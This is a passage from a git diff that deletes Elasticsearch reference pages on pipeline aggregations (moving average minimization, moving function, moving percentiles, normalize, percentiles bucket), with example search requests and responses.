-are tweaked until the predictions generated by the model closely match the output data.  Minimization is not fullproof
-and can be susceptible to overfitting, but it often gives better results than hand-tuning.
-
-Minimization is disabled by default for `ewma` and `holt_linear`, while it is enabled by default for `holt_winters`.
-Minimization is most useful with Holt-Winters, since it helps improve the accuracy of the predictions.  EWMA and
-Holt-Linear are not great predictors, and mostly used for smoothing data, so minimization is less useful on those
-models.
-
-Minimization is enabled/disabled via the `minimize` parameter:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_avg": {
-            "buckets_path": "the_sum",
-            "model": "holt_winters",
-            "window": 30,
-            "minimize": true,  <1>
-            "settings": {
-              "period": 7
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-// TEST[warning:The moving_avg aggregation has been deprecated in favor of the moving_fn aggregation.]
-
-<1> Minimization is enabled with the `minimize` parameter
-
-When enabled, minimization will find the optimal values for `alpha`, `beta` and `gamma`.  The user should still provide
-appropriate values for `window`, `period` and `type`.
-
-[WARNING]
-======
-Minimization works by running a stochastic process called *simulated annealing*.  This process will usually generate
-a good solution, but is not guaranteed to find the global optimum.  It also requires some amount of additional
-computational power, since the model needs to be re-run multiple times as the values are tweaked.  The run-time of
-minimization is linear to the size of the window being processed: excessively large windows may cause latency.
-
-Finally, minimization fits the model to the last `n` values, where `n = window`.  This generally produces
-better forecasts into the future, since the parameters are tuned around the end of the series.  It can, however, generate
-poorer fitting moving averages at the beginning of the series.
-======
diff --git a/docs/reference/aggregations/pipeline/movfn-aggregation.asciidoc b/docs/reference/aggregations/pipeline/movfn-aggregation.asciidoc
deleted file mode 100644
index 43829005330..00000000000
--- a/docs/reference/aggregations/pipeline/movfn-aggregation.asciidoc
+++ /dev/null
@@ -1,660 +0,0 @@
-[[search-aggregations-pipeline-movfn-aggregation]]
-=== Moving function aggregation
-++++
-<titleabbrev>Moving function</titleabbrev>
-++++
-
-Given an ordered series of data, the Moving Function aggregation will slide a window across the data and allow the user to specify a custom
-script that is executed on each window of data.  For convenience, a number of common functions are predefined such as min/max, moving averages,
-etc.
-
-This is conceptually very similar to the <<search-aggregations-pipeline-movavg-aggregation, Moving Average>> pipeline aggregation, except
-it provides more functionality.
-
-==== Syntax
-
-A `moving_fn` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "moving_fn": {
-    "buckets_path": "the_sum",
-    "window": 10,
-    "script": "MovingFunctions.min(values)"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[moving-fn-params]]
-.`moving_fn` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |Path to the metric of interest (see <<buckets-path-syntax, `buckets_path` Syntax>> for more details |Required |
-|`window` |The size of window to "slide" across the histogram. |Required |
-|`script` |The script that should be executed on each window of data |Required |
-|`gap_policy` |The policy to apply when gaps are found in the data. See <<gap-policy>>. |Optional |`skip`
-|`shift` |<<shift-parameter, Shift>> of window position. |Optional | 0
-|===
-
-`moving_fn` aggregations must be embedded inside of a `histogram` or `date_histogram` aggregation.  They can be
-embedded like any other metric aggregation:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {                  <1>
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }   <2>
-        },
-        "the_movfn": {
-          "moving_fn": {
-            "buckets_path": "the_sum",  <3>
-            "window": 10,
-            "script": "MovingFunctions.unweightedAvg(values)"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> A `date_histogram` named "my_date_histo" is constructed on the "timestamp" field, with one-day intervals
-<2> A `sum` metric is used to calculate the sum of a field.  This could be any numeric metric (sum, min, max, etc)
-<3> Finally, we specify a `moving_fn` aggregation which uses "the_sum" metric as its input.
-
-Moving averages are built by first specifying a `histogram` or `date_histogram` over a field.  You can then optionally
-add numeric metrics, such as a `sum`, inside of that histogram.  Finally, the `moving_fn` is embedded inside the histogram.
-The `buckets_path` parameter is then used to "point" at one of the sibling metrics inside of the histogram (see
-<<buckets-path-syntax>> for a description of the syntax for `buckets_path`.
-
-An example response from the above aggregation may look like:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "my_date_histo": {
-         "buckets": [
-             {
-                 "key_as_string": "2015/01/01 00:00:00",
-                 "key": 1420070400000,
-                 "doc_count": 3,
-                 "the_sum": {
-                    "value": 550.0
-                 },
-                 "the_movfn": {
-                    "value": null
-                 }
-             },
-             {
-                 "key_as_string": "2015/02/01 00:00:00",
-                 "key": 1422748800000,
-                 "doc_count": 2,
-                 "the_sum": {
-                    "value": 60.0
-                 },
-                 "the_movfn": {
-                    "value": 550.0
-                 }
-             },
-             {
-                 "key_as_string": "2015/03/01 00:00:00",
-                 "key": 1425168000000,
-                 "doc_count": 2,
-                 "the_sum": {
-                    "value": 375.0
-                 },
-                 "the_movfn": {
-                    "value": 305.0
-                 }
-             }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-
-==== Custom user scripting
-
-The Moving Function aggregation allows the user to specify any arbitrary script to define custom logic.  The script is invoked each time a
-new window of data is collected.  These values are provided to the script in the `values` variable.  The script should then perform some
-kind of calculation and emit a single `double` as the result.  Emitting `null` is not permitted, although `NaN` and +/- `Inf` are allowed.
-
-For example, this script will simply return the first value from the window, or `NaN` if no values are available:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "return values.length > 0 ? values[0] : Double.NaN"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-[[shift-parameter]]
-==== shift parameter
-
-By default (with `shift = 0`), the window that is offered for calculation is the last `n` values excluding the current bucket.
-Increasing `shift` by 1 moves starting window position by `1` to the right.
-
-- To include current bucket to the window, use `shift = 1`.
-- For center alignment (`n / 2` values before and after the current bucket), use `shift = window / 2`.
-- For right alignment (`n` values after the current bucket), use `shift = window`.
-
-If either of window edges moves outside the borders of data series, the window shrinks to include available values only.
-
-==== Pre-built Functions
-
-For convenience, a number of functions have been prebuilt and are available inside the `moving_fn` script context:
-
-- `max()`
-- `min()`
-- `sum()`
-- `stdDev()`
-- `unweightedAvg()`
-- `linearWeightedAvg()`
-- `ewma()`
-- `holt()`
-- `holtWinters()`
-
-The functions are available from the `MovingFunctions` namespace.  E.g. `MovingFunctions.max()`
-
-===== max Function
-
-This function accepts a collection of doubles and returns the maximum value in that window. `null` and `NaN` values are ignored; the maximum
-is only calculated over the real values. If the window is empty, or all values are `null`/`NaN`, `NaN` is returned as the result.
-
-[[max-params]]
-.`max(double[] values)` Parameters
-[options="header"]
-|===
-|Parameter Name |Description
-|`values` |The window of values to find the maximum
-|===
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_moving_max": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "MovingFunctions.max(values)"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-===== min Function
-
-This function accepts a collection of doubles and returns the minimum value in that window.  `null` and `NaN` values are ignored; the minimum
-is only calculated over the real values. If the window is empty, or all values are `null`/`NaN`, `NaN` is returned as the result.
-
-[[min-params]]
-.`min(double[] values)` Parameters
-[options="header"]
-|===
-|Parameter Name |Description
-|`values` |The window of values to find the minimum
-|===
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_moving_min": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "MovingFunctions.min(values)"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-===== sum Function
-
-This function accepts a collection of doubles and returns the sum of the values in that window.  `null` and `NaN` values are ignored;
-the sum is only calculated over the real values.  If the window is empty, or all values are `null`/`NaN`, `0.0` is returned as the result.
-
-[[sum-params]]
-.`sum(double[] values)` Parameters
-[options="header"]
-|===
-|Parameter Name |Description
-|`values` |The window of values to find the sum of
-|===
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_moving_sum": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "MovingFunctions.sum(values)"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-===== stdDev Function
-
-This function accepts a collection of doubles and average, then returns the standard deviation of the values in that window.
-`null` and `NaN` values are ignored; the sum is only calculated over the real values.  If the window is empty, or all values are
-`null`/`NaN`, `0.0` is returned as the result.
-
-[[stddev-params]]
-.`stdDev(double[] values)` Parameters
-[options="header"]
-|===
-|Parameter Name |Description
-|`values` |The window of values to find the standard deviation of
-|`avg` |The average of the window
-|===
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_moving_sum": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "MovingFunctions.stdDev(values, MovingFunctions.unweightedAvg(values))"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-The `avg` parameter must be provided to the standard deviation function because different styles of averages can be computed on the window
-(simple, linearly weighted, etc).  The various moving averages that are detailed below can be used to calculate the average for the
-standard deviation function.
-
-===== unweightedAvg Function
-
-The `unweightedAvg` function calculates the sum of all values in the window, then divides by the size of the window.  It is effectively
-a simple arithmetic mean of the window.  The simple moving average does not perform any time-dependent weighting, which means
-the values from a `simple` moving average tend to "lag" behind the real data.
-
-`null` and `NaN` values are ignored; the average is only calculated over the real values. If the window is empty, or all values are
-`null`/`NaN`, `NaN` is returned as the result.  This means that the count used in the average calculation is count of non-`null`,non-`NaN`
-values.
-
-[[unweightedavg-params]]
-.`unweightedAvg(double[] values)` Parameters
-[options="header"]
-|===
-|Parameter Name |Description
-|`values` |The window of values to find the sum of
-|===
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "MovingFunctions.unweightedAvg(values)"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-==== linearWeightedAvg Function
-
-The `linearWeightedAvg` function assigns a linear weighting to points in the series, such that "older" datapoints (e.g. those at
-the beginning of the window) contribute a linearly less amount to the total average.  The linear weighting helps reduce
-the "lag" behind the data's mean, since older points have less influence.
-
-If the window is empty, or all values are `null`/`NaN`, `NaN` is returned as the result.
-
-[[linearweightedavg-params]]
-.`linearWeightedAvg(double[] values)` Parameters
-[options="header"]
-|===
-|Parameter Name |Description
-|`values` |The window of values to find the sum of
-|===
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "MovingFunctions.linearWeightedAvg(values)"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-==== ewma Function
-
-The `ewma` function (aka "single-exponential") is similar to the `linearMovAvg` function,
-except older data-points become exponentially less important,
-rather than linearly less important.  The speed at which the importance decays can be controlled with an `alpha`
-setting.  Small values make the weight decay slowly, which provides greater smoothing and takes into account a larger
-portion of the window.  Larger values make the weight decay quickly, which reduces the impact of older values on the
-moving average.  This tends to make the moving average track the data more closely but with less smoothing.
-
-`null` and `NaN` values are ignored; the average is only calculated over the real values. If the window is empty, or all values are
-`null`/`NaN`, `NaN` is returned as the result.  This means that the count used in the average calculation is count of non-`null`,non-`NaN`
-values.
-
-[[ewma-params]]
-.`ewma(double[] values, double alpha)` Parameters
-[options="header"]
-|===
-|Parameter Name |Description
-|`values` |The window of values to find the sum of
-|`alpha` |Exponential decay
-|===
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "MovingFunctions.ewma(values, 0.3)"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-
-==== holt Function
-
-The `holt` function (aka "double exponential") incorporates a second exponential term which
-tracks the data's trend.  Single exponential does not perform well when the data has an underlying linear trend.  The
-double exponential model calculates two values internally: a "level" and a "trend".
-
-The level calculation is similar to `ewma`, and is an exponentially weighted view of the data.  The difference is
-that the previously smoothed value is used instead of the raw value, which allows it to stay close to the original series.
-The trend calculation looks at the difference between the current and last value (e.g. the slope, or trend, of the
-smoothed data).  The trend value is also exponentially weighted.
-
-Values are produced by multiplying the level and trend components.
-
-`null` and `NaN` values are ignored; the average is only calculated over the real values. If the window is empty, or all values are
-`null`/`NaN`, `NaN` is returned as the result.  This means that the count used in the average calculation is count of non-`null`,non-`NaN`
-values.
-
-[[holt-params]]
-.`holt(double[] values, double alpha)` Parameters
-[options="header"]
-|===
-|Parameter Name |Description
-|`values` |The window of values to find the sum of
-|`alpha` |Level decay value
-|`beta` |Trend decay value
-|===
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "MovingFunctions.holt(values, 0.3, 0.1)"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-In practice, the `alpha` value behaves very similarly in `holtMovAvg` as `ewmaMovAvg`: small values produce more smoothing
-and more lag, while larger values produce closer tracking and less lag.  The value of `beta` is often difficult
-to see.  Small values emphasize long-term trends (such as a constant linear trend in the whole series), while larger
-values emphasize short-term trends.
-
-==== holtWinters Function
-
-The `holtWinters` function (aka "triple exponential") incorporates a third exponential term which
-tracks the seasonal aspect of your data.  This aggregation therefore smooths based on three components: "level", "trend"
-and "seasonality".
-
-The level and trend calculation is identical to `holt` The seasonal calculation looks at the difference between
-the current point, and the point one period earlier.
-
-Holt-Winters requires a little more handholding than the other moving averages.  You need to specify the "periodicity"
-of your data: e.g. if your data has cyclic trends every 7 days, you would set `period = 7`.  Similarly if there was
-a monthly trend, you would set it to `30`.  There is currently no periodicity detection, although that is planned
-for future enhancements.
-
-`null` and `NaN` values are ignored; the average is only calculated over the real values. If the window is empty, or all values are
-`null`/`NaN`, `NaN` is returned as the result.  This means that the count used in the average calculation is count of non-`null`,non-`NaN`
-values.
-
-[[holtwinters-params]]
-.`holtWinters(double[] values, double alpha)` Parameters
-[options="header"]
-|===
-|Parameter Name |Description
-|`values` |The window of values to find the sum of
-|`alpha` |Level decay value
-|`beta` |Trend decay value
-|`gamma` |Seasonality decay value
-|`period` |The periodicity of the data
-|`multiplicative` |True if you wish to use multiplicative holt-winters, false to use additive
-|===
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_sum": {
-          "sum": { "field": "price" }
-        },
-        "the_movavg": {
-          "moving_fn": {
-            "buckets_path": "the_sum",
-            "window": 10,
-            "script": "if (values.length > 5*2) {MovingFunctions.holtWinters(values, 0.3, 0.1, 0.1, 5, false)}"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-[WARNING]
-======
-Multiplicative Holt-Winters works by dividing each data point by the seasonal value.  This is problematic if any of
-your data is zero, or if there are gaps in the data (since this results in a divid-by-zero).  To combat this, the
-`mult` Holt-Winters pads all values by a very small amount (1*10^-10^) so that all values are non-zero.  This affects
-the result, but only minimally.  If your data is non-zero, or you prefer to see `NaN` when zero's are encountered,
-you can disable this behavior with `pad: false`
-======
-
-===== "Cold Start"
-
-Unfortunately, due to the nature of Holt-Winters, it requires two periods of data to "bootstrap" the algorithm.  This
-means that your `window` must always be *at least* twice the size of your period.  An exception will be thrown if it
-isn't.  It also means that Holt-Winters will not emit a value for the first `2 * period` buckets; the current algorithm
-does not backcast.
-
-You'll notice in the above example we have an `if ()` statement checking the size of values.  This is checking to make sure
-we have two periods worth of data (`5 * 2`, where 5 is the period specified in the `holtWintersMovAvg` function) before calling
-the holt-winters function.
diff --git a/docs/reference/aggregations/pipeline/moving-percentiles-aggregation.asciidoc b/docs/reference/aggregations/pipeline/moving-percentiles-aggregation.asciidoc
deleted file mode 100644
index 50b099d8e16..00000000000
--- a/docs/reference/aggregations/pipeline/moving-percentiles-aggregation.asciidoc
+++ /dev/null
@@ -1,165 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[search-aggregations-pipeline-moving-percentiles-aggregation]]
-=== Moving percentiles aggregation
-++++
-<titleabbrev>Moving percentiles</titleabbrev>
-++++
-
-Given an ordered series of <<search-aggregations-metrics-percentile-aggregation, percentiles>>, the Moving Percentile aggregation
-will slide a window across those percentiles and allow the user to compute the cumulative percentile.
-
-This is conceptually very similar to the <<search-aggregations-pipeline-movfn-aggregation, Moving Function>> pipeline aggregation,
-except it works on the percentiles sketches instead of the actual buckets values.
-
-==== Syntax
-
-A `moving_percentiles` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "moving_percentiles": {
-    "buckets_path": "the_percentile",
-    "window": 10
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[moving-percentiles-params]]
-.`moving_percentiles` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |Path to the percentile of interest (see <<buckets-path-syntax, `buckets_path` Syntax>> for more details |Required |
-|`window` |The size of window to "slide" across the histogram. |Required |
-|`shift` |<<shift-parameter, Shift>> of window position. |Optional | 0
-|===
-
-`moving_percentiles` aggregations must be embedded inside of a `histogram` or `date_histogram` aggregation.  They can be
-embedded like any other metric aggregation:
-
-[source,console]
---------------------------------------------------
-POST /_search
-{
-  "size": 0,
-  "aggs": {
-    "my_date_histo": {                          <1>
-        "date_histogram": {
-        "field": "date",
-        "calendar_interval": "1M"
-      },
-      "aggs": {
-        "the_percentile": {                     <2>
-            "percentiles": {
-            "field": "price",
-            "percents": [ 1.0, 99.0 ]
-          }
-        },
-        "the_movperc": {
-          "moving_percentiles": {
-            "buckets_path": "the_percentile",   <3>
-            "window": 10
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> A `date_histogram` named "my_date_histo" is constructed on the "timestamp" field, with one-day intervals
-<2> A `percentile` metric is used to calculate the percentiles of a field.
-<3> Finally, we specify a `moving_percentiles` aggregation which uses "the_percentile" sketch as its input.
-
-Moving percentiles are built by first specifying a `histogram` or `date_histogram` over a field.  You  then add
-a percentile metric inside of that histogram.  Finally, the `moving_percentiles` is embedded inside the histogram.
-The `buckets_path` parameter is then used to "point" at the percentiles aggregation inside of the histogram (see
-<<buckets-path-syntax>> for a description of the syntax for `buckets_path`).
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "my_date_histo": {
-         "buckets": [
-             {
-                 "key_as_string": "2015/01/01 00:00:00",
-                 "key": 1420070400000,
-                 "doc_count": 3,
-                 "the_percentile": {
-                     "values": {
-                       "1.0": 150.0,
-                       "99.0": 200.0
-                     }
-                 }
-             },
-             {
-                 "key_as_string": "2015/02/01 00:00:00",
-                 "key": 1422748800000,
-                 "doc_count": 2,
-                 "the_percentile": {
-                     "values": {
-                       "1.0": 10.0,
-                       "99.0": 50.0
-                     }
-                 },
-                 "the_movperc": {
-                   "values": {
-                     "1.0": 150.0,
-                     "99.0": 200.0
-                   }
-                 }
-             },
-             {
-                 "key_as_string": "2015/03/01 00:00:00",
-                 "key": 1425168000000,
-                 "doc_count": 2,
-                 "the_percentile": {
-                    "values": {
-                      "1.0": 175.0,
-                      "99.0": 200.0
-                    }
-                 },
-                 "the_movperc": {
-                    "values": {
-                      "1.0": 10.0,
-                      "99.0": 200.0
-                    }
-                 }
-             }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-The output format of the `moving_percentiles` aggregation is inherited from the format of the referenced
-<<search-aggregations-metrics-percentile-aggregation,`percentiles`>> aggregation.
-
-Moving percentiles pipeline aggregations always run with `skip` gap policy.
-
-
-[[moving-percentiles-shift-parameter]]
-==== shift parameter
-
-By default (with `shift = 0`), the window that is offered for calculation is the last `n` values excluding the current bucket.
-Increasing `shift` by 1 moves starting window position by `1` to the right.
-
-- To include current bucket to the window, use `shift = 1`.
-- For center alignment (`n / 2` values before and after the current bucket), use `shift = window / 2`.
-- For right alignment (`n` values after the current bucket), use `shift = window`.
-
-If either of window edges moves outside the borders of data series, the window shrinks to include available values only.
diff --git a/docs/reference/aggregations/pipeline/normalize-aggregation.asciidoc b/docs/reference/aggregations/pipeline/normalize-aggregation.asciidoc
deleted file mode 100644
index 80cc0c3db11..00000000000
--- a/docs/reference/aggregations/pipeline/normalize-aggregation.asciidoc
+++ /dev/null
@@ -1,185 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[search-aggregations-pipeline-normalize-aggregation]]
-=== Normalize aggregation
-++++
-<titleabbrev>Normalize</titleabbrev>
-++++
-
-A parent pipeline aggregation which calculates the specific normalized/rescaled value for a specific bucket value.
-Values that cannot be normalized, will be skipped using the <<gap-policy, skip gap policy>>.
-
-==== Syntax
-
-A `normalize` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "normalize": {
-    "buckets_path": "normalized",
-    "method": "percent_of_sum"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[normalize_pipeline-params]]
-.`normalize_pipeline` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to normalize (see <<buckets-path-syntax, `buckets_path` syntax>> for more details) |Required |
-|`method` | The specific <<normalize_pipeline-method, method>> to apply | Required |
-|`format` |format to apply to the output value of this aggregation |Optional |`null`
-|===
-
-==== Methods
-[[normalize_pipeline-method]]
-
-The Normalize Aggregation supports multiple methods to transform the bucket values. Each method definition will use
-the following original set of bucket values as examples: `[5, 5, 10, 50, 10, 20]`.
-
-_rescale_0_1_::
-                This method rescales the data such that the minimum number is zero, and the maximum number is 1, with the rest normalized
-                linearly in-between.
-
-                x' = (x - min_x) / (max_x - min_x)
-
-                [0, 0, .1111, 1, .1111, .3333]
-
-_rescale_0_100_::
-                This method rescales the data such that the minimum number is zero, and the maximum number is 100, with the rest normalized
-                linearly in-between.
-
-                x' = 100 * (x - min_x) / (max_x - min_x)
-
-                [0, 0, 11.11, 100, 11.11, 33.33]
-
-_percent_of_sum_::
-                This method normalizes each value so that it represents a percentage of the total sum it attributes to.
-
-                x' = x / sum_x
-
-                [5%, 5%, 10%, 50%, 10%, 20%]
-
-
-_mean_::
-                This method normalizes such that each value is normalized by how much it differs from the average.
-
-                x' = (x - mean_x) / (max_x - min_x)
-
-                [4.63, 4.63, 9.63, 49.63, 9.63, 9.63, 19.63]
-
-_zscore_::
-                This method normalizes such that each value represents how far it is from the mean relative to the standard deviation
-
-                x' = (x - mean_x) / stdev_x
-
-                [-0.68, -0.68, -0.39, 1.94, -0.39, 0.19]
-
-_softmax_::
-                This method normalizes such that each value is exponentiated and relative to the sum of the exponents of the original values.
-
-                x' = e^x / sum_e_x
-
-                [2.862E-20, 2.862E-20, 4.248E-18, 0.999, 9.357E-14, 4.248E-18]
-
-
-==== Example
-
-The following snippet calculates the percent of total sales for each month:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        },
-        "percent_of_total_sales": {
-          "normalize": {
-            "buckets_path": "sales",          <1>
-            "method": "percent_of_sum",       <2>
-            "format": "00.00%"                <3>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` instructs this normalize aggregation to use the output of the `sales` aggregation for rescaling
-<2> `method` sets which rescaling to apply. In this case, `percent_of_sum` will calculate the sales value as a percent of all sales
-    in the parent bucket
-<3> `format` influences how to format the metric as a string using Java's `DecimalFormat` pattern. In this case, multiplying by 100
-    and adding a '%'
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               },
-               "percent_of_total_sales": {
-                  "value": 0.5583756345177665,
-                  "value_as_string": "55.84%"
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               },
-               "percent_of_total_sales": {
-                  "value": 0.06091370558375635,
-                  "value_as_string": "06.09%"
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               },
-               "percent_of_total_sales": {
-                  "value": 0.38071065989847713,
-                  "value_as_string": "38.07%"
-               }
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/aggregations/pipeline/percentiles-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/percentiles-bucket-aggregation.asciidoc
deleted file mode 100644
index d3a492536ef..00000000000
--- a/docs/reference/aggregations/pipeline/percentiles-bucket-aggregation.asciidoc
+++ /dev/null
@@ -1,134 +0,0 @@
-[[search-aggregations-pipeline-percentiles-bucket-aggregation]]
-=== Percentiles bucket aggregation
-++++
-<titleabbrev>Percentiles bucket</titleabbrev>
-++++
-
-A sibling pipeline aggregation which calculates percentiles across all bucket of a specified metric in a sibling aggregation.
-The specified metric must be numeric and the sibling aggregation must be a multi-bucket aggregation.
-
-==== Syntax
-
-A `percentiles_bucket` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "percentiles_bucket": {
-    "buckets_path": "the_sum"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[percentiles-bucket-params]]
-.`percentiles_bucket` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to find the percentiles for (see <<buckets-path-syntax>> for more
- details) |Required |
-|`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional | `skip`
-|`format` |format to apply to the output value of this aggregation |Optional | `null`
-|`percents` |The list of percentiles to calculate |Optional | `[ 1, 5, 25, 50, 75, 95, 99 ]`
-|`keyed` |Flag which returns the range as an hash instead of an array of key-value pairs |Optional | `true`
-|===
-
-The following snippet calculates the percentiles for the total monthly `sales` buckets:
-
